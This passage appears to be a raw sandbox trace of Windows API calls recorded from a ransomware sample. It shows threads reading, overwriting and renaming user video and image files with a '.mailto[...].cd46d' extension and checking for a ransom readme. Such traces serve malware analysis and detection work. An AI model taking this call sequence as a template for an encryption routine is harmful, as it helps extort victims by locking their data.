RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x82) returned 0x12e29f28 [0056.510] wcscpy (in: _Dest=0x12e29f28, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\" [0056.510] wcscat (in: _Dest=0x12e29f28, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\CD46D-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\CD46D-Readme.txt" [0056.510] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\wafgtab5\\cd46d-readme.txt")) returned 0x20 [0056.806] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12e29f28) returned 1 [0056.806] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x45ee38) returned 1 Thread: id = 637 os_tid = 0x8fc [0050.696] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\wRax3wXScOWKwKsYie1.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\wafgtab5\\wrax3wxscowkwksyie1.mp4")) returned 0x20 [0050.696] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\wRax3wXScOWKwKsYie1.mp4", dwFileAttributes=0x20) returned 1 [0050.697] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\wRax3wXScOWKwKsYie1.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\wafgtab5\\wrax3wxscowkwksyie1.mp4"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xb7c [0050.697] GetFileSizeEx (in: hFile=0xb7c, lpFileSize=0xfccfc04 | out: lpFileSize=0xfccfc04*=17165) returned 1 [0050.697] SetFilePointerEx (in: hFile=0xb7c, liDistanceToMove=0x4309, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0050.697] ReadFile (in: hFile=0xb7c, lpBuffer=0xfccfb88, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xfccfb84, lpOverlapped=0x0 | out: lpBuffer=0xfccfb88*, lpNumberOfBytesRead=0xfccfb84*=0x4, lpOverlapped=0x0) returned 1 [0050.697] SetFilePointerEx (in: hFile=0xb7c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0050.698] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4603f0 [0050.698] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460468 [0050.698] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460490 [0050.698] NtQuerySystemTime (in: CurrentTime=0xfccfb64 | out: CurrentTime=0xfccfb64*=132174898146768000) returned 0x0 [0050.698] RtlRandomEx (in: Seed=0xfccfb70 | out: Seed=0xfccfb70) returned 0x525824ff [0050.698] RtlRandomEx (in: Seed=0xfccfb70 | out: Seed=0xfccfb70) returned 0x476bbee [0050.698] RtlRandomEx (in: Seed=0xfccfb70 | out: Seed=0xfccfb70) returned 0x9f1355d [0050.698] RtlRandomEx (in: Seed=0xfccfb70 | out: Seed=0xfccfb70) returned 0xe119f8f [0050.698] RtlRandomEx (in: Seed=0xfccfb70 | out: Seed=0xfccfb70) returned 0x6c7d9d7c [0050.698] RtlRandomEx (in: Seed=0xfccfb70 | out: Seed=0xfccfb70) returned 0x614375 [0050.698] RtlRandomEx (in: Seed=0xfccfb70 | out: Seed=0xfccfb70) returned 0x7fcb4b85 [0050.698] RtlRandomEx (in: Seed=0xfccfb70 | out: Seed=0xfccfb70) returned 0x19d412ef [0050.698] RtlRandomEx (in: Seed=0xfccfb70 | out: Seed=0xfccfb70) returned 0x59e4631b [0050.698] RtlRandomEx (in: Seed=0xfccfb70 | out: Seed=0xfccfb70) returned 0x3b4b058 [0050.698] RtlRandomEx (in: Seed=0xfccfb70 | out: Seed=0xfccfb70) returned 0x3240a78d [0050.698] RtlRandomEx (in: Seed=0xfccfb70 | out: Seed=0xfccfb70) returned 0x1dbd104b [0050.698] RtlRandomEx (in: Seed=0xfccfb70 | out: Seed=0xfccfb70) returned 0x79294189 [0050.698] RtlRandomEx (in: Seed=0xfccfb70 | out: Seed=0xfccfb70) returned 0x6dd2947a [0050.698] RtlRandomEx (in: Seed=0xfccfb70 | out: Seed=0xfccfb70) returned 0x6cb5ffdf [0050.698] RtlRandomEx (in: Seed=0xfccfb70 | out: Seed=0xfccfb70) returned 0x81aa3d [0050.698] RtlRandomEx (in: Seed=0xfccfb70 | out: Seed=0xfccfb70) returned 0x3a8012f8 [0050.698] RtlRandomEx (in: Seed=0xfccfb70 | out: Seed=0xfccfb70) returned 0x642f1eaa [0050.698] RtlRandomEx (in: Seed=0xfccfb70 | out: Seed=0xfccfb70) returned 0x30af3365 [0050.698] RtlRandomEx (in: Seed=0xfccfb70 | out: Seed=0xfccfb70) returned 0x41d58fa8 [0050.698] RtlRandomEx (in: Seed=0xfccfb70 | out: Seed=0xfccfb70) returned 0x78de26e7 [0050.698] RtlRandomEx (in: Seed=0xfccfb70 | out: Seed=0xfccfb70) returned 0x4e48629 [0050.698] RtlRandomEx (in: Seed=0xfccfb70 | out: Seed=0xfccfb70) returned 0x1d841c70 [0050.698] RtlRandomEx (in: Seed=0xfccfb70 | out: Seed=0xfccfb70) returned 0x36e5e43d [0050.698] RtlRandomEx (in: Seed=0xfccfb70 | out: Seed=0xfccfb70) returned 0x2098c9ae [0050.698] RtlRandomEx (in: Seed=0xfccfb70 | out: Seed=0xfccfb70) returned 0xa180670 [0050.699] RtlRandomEx (in: Seed=0xfccfb70 | out: Seed=0xfccfb70) returned 0x47318f20 [0050.699] RtlRandomEx (in: Seed=0xfccfb70 | out: Seed=0xfccfb70) returned 0x166acc92 [0050.699] RtlRandomEx (in: Seed=0xfccfb70 | out: Seed=0xfccfb70) returned 0x48ba4378 [0050.699] RtlRandomEx (in: Seed=0xfccfb70 | out: Seed=0xfccfb70) returned 0x757a617e [0050.699] RtlRandomEx (in: Seed=0xfccfb70 | out: Seed=0xfccfb70) returned 0x60e7eb3c [0050.699] RtlRandomEx (in: Seed=0xfccfb70 | out: Seed=0xfccfb70) returned 0x3987afca [0050.711] ReadFile (in: hFile=0xb7c, lpBuffer=0x12c568f0, nNumberOfBytesToRead=0x430d, lpNumberOfBytesRead=0xfccfb60, lpOverlapped=0x0 | out: lpBuffer=0x12c568f0*, lpNumberOfBytesRead=0xfccfb60*=0x430d, lpOverlapped=0x0) returned 1 [0050.711] SetFilePointerEx (in: hFile=0xb7c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0050.711] WriteFile (in: hFile=0xb7c, lpBuffer=0x12c630f8*, nNumberOfBytesToWrite=0x430d, lpNumberOfBytesWritten=0xfccfb5c, lpOverlapped=0x0 | out: lpBuffer=0x12c630f8*, lpNumberOfBytesWritten=0xfccfb5c*=0x430d, lpOverlapped=0x0) returned 1 [0053.376] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x97cef30 [0053.376] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x97cef58 [0053.376] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cef58) returned 1 [0053.376] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12c630f8) returned 1 [0053.376] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12c568f0) returned 1 [0053.381] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43ae70) returned 1 [0053.382] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44bb80) returned 1 [0053.382] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x3b) returned 0x44bb80 [0053.382] SetFilePointerEx (in: hFile=0xb7c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0053.382] WriteFile (in: hFile=0xb7c, lpBuffer=0x95d0cc0*, nNumberOfBytesToWrite=0x11f, lpNumberOfBytesWritten=0xfccfbc4, lpOverlapped=0x0 | out: lpBuffer=0x95d0cc0*, lpNumberOfBytesWritten=0xfccfbc4*=0x11f, lpOverlapped=0x0) returned 1 [0053.592] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d0cc0) returned 1 [0053.592] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44baf0) returned 1 [0053.592] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cef58) returned 1 [0053.592] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44bb80) returned 1 [0053.592] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cef30) returned 1 [0053.592] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x460468) returned 1 [0053.592] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4604b8) returned 1 [0053.592] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4604e0) returned 1 [0053.592] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xd6) returned 0x95d0ad0 [0053.592] wcscpy (in: _Dest=0x95d0ad0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\wRax3wXScOWKwKsYie1.mp4" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\wRax3wXScOWKwKsYie1.mp4") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\wRax3wXScOWKwKsYie1.mp4" [0053.592] wcscat (in: _Dest=0x95d0ad0, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\wRax3wXScOWKwKsYie1.mp4.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\wRax3wXScOWKwKsYie1.mp4.mailto[2Hamlampampom@cock.li].cd46d" [0053.592] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\wRax3wXScOWKwKsYie1.mp4.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0xfccfb7c, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\wRax3wXScOWKwKsYie1.mp4.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0053.592] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xec) returned 0x95d0bb0 [0054.724] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d0bb0) returned 1 [0054.724] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4a0260) returned 1 [0054.724] NtQueryInformationFile (in: FileHandle=0xb7c, IoStatusBlock=0xfccfb88, FileInformation=0xfccfb60, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0xfccfb88, FileInformation=0xfccfb60) returned 0x0 [0054.724] NtSetInformationFile (FileHandle=0xb7c, IoStatusBlock=0xfccfb88, FileInformation=0xfccfb60, Length=0x28, FileInformationClass=0x4) returned 0x0 [0056.124] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d0ad0) returned 1 [0056.124] FlushFileBuffers (hFile=0xb7c) returned 1 [0056.125] CloseHandle (hObject=0xb7c) returned 1 [0056.504] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x82) returned 0x12e29e08 [0056.504] wcscpy (in: _Dest=0x12e29e08, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\" [0056.504] wcscat (in: _Dest=0x12e29e08, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\CD46D-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\CD46D-Readme.txt" [0056.504] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\wafgtab5\\cd46d-readme.txt")) returned 0x20 [0056.804] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12e29e08) returned 1 [0056.804] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x438650) returned 1 Thread: id = 638 os_tid = 0x910 [0050.717] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\wTeVlKqR ch9b.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\wafgtab5\\wtevlkqr ch9b.mp4")) returned 0x20 [0050.717] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\wTeVlKqR ch9b.mp4", dwFileAttributes=0x20) returned 1 [0050.717] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\wTeVlKqR ch9b.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\wafgtab5\\wtevlkqr ch9b.mp4"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xb80 [0050.717] GetFileSizeEx (in: hFile=0xb80, lpFileSize=0xfbbf750 | out: lpFileSize=0xfbbf750*=14467) returned 1 [0050.718] SetFilePointerEx (in: hFile=0xb80, liDistanceToMove=0x387f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0050.718] ReadFile (in: hFile=0xb80, lpBuffer=0xfbbf6d4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xfbbf6d0, lpOverlapped=0x0 | out: lpBuffer=0xfbbf6d4*, lpNumberOfBytesRead=0xfbbf6d0*=0x4, lpOverlapped=0x0) returned 1 [0050.718] SetFilePointerEx (in: hFile=0xb80, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0050.718] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4603f0 [0050.718] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460490 [0050.718] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460508 [0050.718] NtQuerySystemTime (in: CurrentTime=0xfbbf6b0 | out: CurrentTime=0xfbbf6b0*=132174898146924000) returned 0x0 [0050.719] RtlRandomEx (in: Seed=0xfbbf6bc | out: Seed=0xfbbf6bc) returned 0x7253f3dc [0050.719] RtlRandomEx (in: Seed=0xfbbf6bc | out: Seed=0xfbbf6bc) returned 0x63ccb6aa [0050.719] RtlRandomEx (in: Seed=0xfbbf6bc | out: Seed=0xfbbf6bc) returned 0x6e7b6d22 [0050.719] RtlRandomEx (in: Seed=0xfbbf6bc | out: Seed=0xfbbf6bc) returned 0x5836f692 [0050.719] RtlRandomEx (in: Seed=0xfbbf6bc | out: Seed=0xfbbf6bc) returned 0x5dfd61d6 [0050.719] RtlRandomEx (in: Seed=0xfbbf6bc | out: Seed=0xfbbf6bc) returned 0x2ca38b87 [0050.719] RtlRandomEx (in: Seed=0xfbbf6bc | out: Seed=0xfbbf6bc) returned 0x3c92be39 [0050.719] RtlRandomEx (in: Seed=0xfbbf6bc | out: Seed=0xfbbf6bc) returned 0x2399d307 [0050.719] RtlRandomEx (in: Seed=0xfbbf6bc | out: Seed=0xfbbf6bc) returned 0x7475a387 [0050.719] RtlRandomEx (in: Seed=0xfbbf6bc | out: Seed=0xfbbf6bc) returned 0x23d5f372 [0050.719] RtlRandomEx (in: Seed=0xfbbf6bc | out: Seed=0xfbbf6bc) returned 0x7613f9af [0050.719] RtlRandomEx (in: Seed=0xfbbf6bc | out: Seed=0xfbbf6bc) returned 0x6be1a17 [0050.719] RtlRandomEx (in: Seed=0xfbbf6bc | out: Seed=0xfbbf6bc) returned 0x158fe97 [0050.719] RtlRandomEx (in: Seed=0xfbbf6bc | out: Seed=0xfbbf6bc) returned 0x63a1d364 [0050.719] RtlRandomEx (in: Seed=0xfbbf6bc | out: Seed=0xfbbf6bc) returned 0xf7dc96f [0050.719] RtlRandomEx (in: Seed=0xfbbf6bc | out: Seed=0xfbbf6bc) returned 0x31ff5ee [0050.719] RtlRandomEx (in: Seed=0xfbbf6bc | out: Seed=0xfbbf6bc) returned 0x6f4a1d5f [0050.719] RtlRandomEx (in: Seed=0xfbbf6bc | out: Seed=0xfbbf6bc) returned 0x2919d167 [0050.719] RtlRandomEx (in: Seed=0xfbbf6bc | out: Seed=0xfbbf6bc) returned 0x1dedb49b [0050.719] RtlRandomEx (in: Seed=0xfbbf6bc | out: Seed=0xfbbf6bc) returned 0x75d6c8a3 [0050.720] RtlRandomEx (in: Seed=0xfbbf6bc | out: Seed=0xfbbf6bc) returned 0x30c547a0 [0050.720] RtlRandomEx (in: Seed=0xfbbf6bc | out: Seed=0xfbbf6bc) returned 0x2007db04 [0050.720] RtlRandomEx (in: Seed=0xfbbf6bc | out: Seed=0xfbbf6bc) returned 0x4f288952 [0050.720] RtlRandomEx (in: Seed=0xfbbf6bc | out: Seed=0xfbbf6bc) returned 0x1aaa3aee [0050.720] RtlRandomEx (in: Seed=0xfbbf6bc | out: Seed=0xfbbf6bc) returned 0x3148cb96 [0050.720] RtlRandomEx (in: Seed=0xfbbf6bc | out: Seed=0xfbbf6bc) returned 0x259015a3 [0050.720] RtlRandomEx (in: Seed=0xfbbf6bc | out: Seed=0xfbbf6bc) returned 0x7fc217b0 [0050.720] RtlRandomEx (in: Seed=0xfbbf6bc | out: Seed=0xfbbf6bc) returned 0xa6e4f8f [0050.720] RtlRandomEx (in: Seed=0xfbbf6bc | out: Seed=0xfbbf6bc) returned 0x4d0a3f38 [0050.720] RtlRandomEx (in: Seed=0xfbbf6bc | out: Seed=0xfbbf6bc) returned 0x7473453b [0050.720] RtlRandomEx (in: Seed=0xfbbf6bc | out: Seed=0xfbbf6bc) returned 0x33cfd964 [0050.720] RtlRandomEx (in: Seed=0xfbbf6bc | out: Seed=0xfbbf6bc) returned 0x1b32f49f [0050.732] ReadFile (in: hFile=0xb80, lpBuffer=0x12c6f900, nNumberOfBytesToRead=0x3883, lpNumberOfBytesRead=0xfbbf6ac, lpOverlapped=0x0 | out: lpBuffer=0x12c6f900*, lpNumberOfBytesRead=0xfbbf6ac*=0x3883, lpOverlapped=0x0) returned 1 [0050.732] SetFilePointerEx (in: hFile=0xb80, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0050.733] WriteFile (in: hFile=0xb80, lpBuffer=0x12c7c108*, nNumberOfBytesToWrite=0x3883, lpNumberOfBytesWritten=0xfbbf6a8, lpOverlapped=0x0 | out: lpBuffer=0x12c7c108*, lpNumberOfBytesWritten=0xfbbf6a8*=0x3883, lpOverlapped=0x0) returned 1 [0053.384] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x97cef80 [0053.384] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x97cefa8 [0053.384] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cefa8) returned 1 [0053.384] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12c7c108) returned 1 [0053.384] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12c6f900) returned 1 [0053.384] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43aee8) returned 1 [0053.384] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44bbc8) returned 1 [0053.384] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x2f) returned 0x40aad8 [0053.384] SetFilePointerEx (in: hFile=0xb80, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0053.384] WriteFile (in: hFile=0xb80, lpBuffer=0x95d0de8*, nNumberOfBytesToWrite=0x113, lpNumberOfBytesWritten=0xfbbf710, lpOverlapped=0x0 | out: lpBuffer=0x95d0de8*, lpNumberOfBytesWritten=0xfbbf710*=0x113, lpOverlapped=0x0) returned 1 [0053.593] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d0de8) returned 1 [0053.593] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x40abf0) returned 1 [0053.593] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cefa8) returned 1 [0053.593] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x40aad8) returned 1 [0053.593] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cef80) returned 1 [0053.594] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x460490) returned 1 [0053.594] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x460530) returned 1 [0053.594] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x460558) returned 1 [0053.594] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xca) returned 0x40da48 [0053.594] wcscpy (in: _Dest=0x40da48, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\wTeVlKqR ch9b.mp4" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\wTeVlKqR ch9b.mp4") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\wTeVlKqR ch9b.mp4" [0053.594] wcscat (in: _Dest=0x40da48, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\wTeVlKqR ch9b.mp4.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\wTeVlKqR ch9b.mp4.mailto[2Hamlampampom@cock.li].cd46d" [0053.594] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\wTeVlKqR ch9b.mp4.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0xfbbf6c8, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\wTeVlKqR ch9b.mp4.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0053.594] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xe0) returned 0x95d0ca8 [0054.725] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d0ca8) returned 1 [0054.725] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4a0488) returned 1 [0054.725] NtQueryInformationFile (in: FileHandle=0xb80, IoStatusBlock=0xfbbf6d4, FileInformation=0xfbbf6ac, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0xfbbf6d4, FileInformation=0xfbbf6ac) returned 0x0 [0054.725] NtSetInformationFile (FileHandle=0xb80, IoStatusBlock=0xfbbf6d4, FileInformation=0xfbbf6ac, Length=0x28, FileInformationClass=0x4) returned 0x0 [0056.119] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x40da48) returned 1 [0056.119] FlushFileBuffers (hFile=0xb80) returned 1 [0056.137] CloseHandle (hObject=0xb80) returned 1 [0056.512] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x82) returned 0x12e2a048 [0056.512] wcscpy (in: _Dest=0x12e2a048, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\" [0056.512] wcscat (in: _Dest=0x12e2a048, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\CD46D-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\CD46D-Readme.txt" [0056.512] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\wafgtab5\\cd46d-readme.txt")) returned 0x20 [0056.806] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12e2a048) returned 1 [0056.807] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x417980) returned 1 Thread: id = 639 os_tid = 0x888 [0050.733] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\_esyWGtQVJ-2Mq2f.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\wafgtab5\\_esywgtqvj-2mq2f.bmp")) returned 0x20 [0050.733] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\_esyWGtQVJ-2Mq2f.bmp", dwFileAttributes=0x20) returned 1 [0050.733] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\_esyWGtQVJ-2Mq2f.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\wafgtab5\\_esywgtqvj-2mq2f.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xb84 [0050.734] GetFileSizeEx (in: hFile=0xb84, lpFileSize=0xffbf98c | out: lpFileSize=0xffbf98c*=66084) returned 1 [0050.734] SetFilePointerEx (in: hFile=0xb84, liDistanceToMove=0x10220, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0050.734] ReadFile (in: hFile=0xb84, lpBuffer=0xffbf910, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xffbf90c, lpOverlapped=0x0 | out: lpBuffer=0xffbf910*, lpNumberOfBytesRead=0xffbf90c*=0x4, lpOverlapped=0x0) returned 1 [0050.735] SetFilePointerEx (in: hFile=0xb84, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0050.735] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4603f0 [0050.735] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460508 [0050.735] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460580 [0050.735] NtQuerySystemTime (in: CurrentTime=0xffbf8ec | out: CurrentTime=0xffbf8ec*=132174898147236000) returned 0x0 [0050.735] RtlRandomEx (in: Seed=0xffbf8f8 | out: Seed=0xffbf8f8) returned 0x18b05ebb [0050.735] RtlRandomEx (in: Seed=0xffbf8f8 | out: Seed=0xffbf8f8) returned 0x5f286a22 [0050.735] RtlRandomEx (in: Seed=0xffbf8f8 | out: Seed=0xffbf8f8) returned 0x4a4f8be2 [0050.735] RtlRandomEx (in: Seed=0xffbf8f8 | out: 